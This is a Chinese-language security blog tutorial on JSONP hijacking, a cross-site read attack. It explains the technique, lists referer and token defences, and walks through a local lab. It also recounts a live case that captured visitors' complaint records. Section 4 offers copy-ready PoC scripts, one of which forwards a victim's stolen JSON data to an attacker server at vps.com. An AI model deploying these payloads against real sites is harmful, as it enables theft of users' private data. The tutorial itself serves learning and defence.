jsonp劫持入门玩法

1 初步感受jsonp

1.1 jsonp

JSONP 全称是 JSON with Padding ,是基于 JSON 格式的为解决跨域请求资源而产生的解决方案。他实现的基本原理是利用了 HTML 里 <script></script> 元素标签,远程调用 JSON 文件来实现数据传递。如要在 a.com 域下获取存在 b.com 的 JSON 数据( getUsers.JSON )。

说白了就是一种跨域的json数据传输的解决方案。

1.2 jsonp劫持攻击

由于jsonp允许跨域请求,并且允许前端可以在<script></script>中直接解析返回的json形式的跨域数据,如果没有做到合适的防御,攻击者就可以做到jsonp劫持攻击。

Jsonp劫持攻击时csrf攻击的一种。csrf攻击分csrf读和csrf写,jsonp劫持是csrf读的一种具体攻击形式。通常攻击者通过这种形式可以读取到受害者的敏感数据。

可以看下wooyun镜像,搜索jsonp可以查到大量案例。

《jsonp劫持入门玩法》

来看一个简单的例子感受一下。

http://www.anquan.us/static/bugs/wooyun-2013-019969.html

《jsonp劫持入门玩法》

《jsonp劫持入门玩法》

攻击者在script标签中直接解析了跨域传输的json敏感数据。alert出来了,当然你也可以发出去做log记录,总之js都解析到了啥不能干?

1.3 jsonp防御

既然是csrf攻击的一种,还是和csrf防御一样呗。referer/csrf_token/验证码等机制。

2 本地yy测试

实践出真知,动手本地yy测试一下jsonp攻击流程。

2.1 理清思路

测试的思路如下。

1、js.html ————实际的劫持poc,实战中放到黑客控制的vps上

2、api.php ————模拟有漏洞的jsonp接口,在有漏洞的web服务器上

3、logs.php ————黑客vps记录劫持记录的后端页面

《jsonp劫持入门玩法》

2.2 环境准备

api.php

模拟提供jsonp传输的敏感数据的接口。

《jsonp劫持入门玩法》

接口访问效果,输出自己的cookie映射内容。

《jsonp劫持入门玩法》

用js.html模拟攻击者执行的js来劫持jsonp

这里转发的ip也一样,实战是黑客自己的vps。

《jsonp劫持入门玩法》

logs.php

《jsonp劫持入门玩法》

2.3 整体走一个

打开js.html,直接本地打开,模拟的动作是受害者打开我vps上的csrfpoc

《jsonp劫持入门玩法》

第一个ajax请求,模拟csrf向服务器请求返回账号敏感信息。

《jsonp劫持入门玩法》

第二个ajax请求,模拟vps的jspoc成功解析到敏感信息,并且做一个log记录。(真实环境应该在vps上做log记录,这里为了方便和漏洞服务器同一个ip)

《jsonp劫持入门玩法》

服务端记录。

《jsonp劫持入门玩法》

2.4 延伸

如果返回的jsonp的json数组,不是一个json对象。

《jsonp劫持入门玩法》

可以用下标直接取出。

《jsonp劫持入门玩法》

3 实战jsonp劫持

yy完了,看一个真实例子。

《jsonp劫持入门玩法》

《jsonp劫持入门玩法》

这个请求包jsonp请求,内容返回的是用户的投诉记录,无token,无验证referer,该请求可以被劫持!

演示如下:

在登录账号(已经有投诉记录的)的情况下

凡访问加载这个poc的页面的用户,他的投诉记录都会被我直接劫持,并且做记录

《jsonp劫持入门玩法》

《jsonp劫持入门玩法》

4 劫持poc

分享下我的poc,大家遇到简单的接口可以直接套用了。

4.1 Script直接解析json

<script>

function hack(json){

alert(JSON.stringify(json));//接下来可以做转发记录

}

</script>

<script src="http://127.0.0.1:8081/js.php?callback=hack"></script>

4.2 $.getJSON

<script type="text/javascript" src="http://www.w3school.com.cn/jquery/jquery-1.11.1.min.js"></script>

<script type="text/javascript">

$.getJSON("http://vulweb.com/api/getMyFeedbackList?callback=?", function(json){

var data=JSON.stringify(json);

//将data转发记录

$.get("http://vps.com/json/logs.php?mylogs="+data,function(res,status){

alert ('ok') ;

});

});

</script>

5 后记

本菜鸡对前端了解也不深,也是最近接触的jsonp劫持,文中错误难免,欢迎指正。

常见的csrf数据劫持方法还有很多,例如因为crossadmin.xml配置不对导致的flash跨域劫持。以后遇到可以记录学习一下。

关于前端劫持还有很多玩法,本文只是做一个最简单的jsonp-api数据劫持,乌云镜像上有很多是高端组合玩法的案例。

参考链接:http://blog.knownsec.com/2015/03/jsonp_security_technic/

点赞

发表评论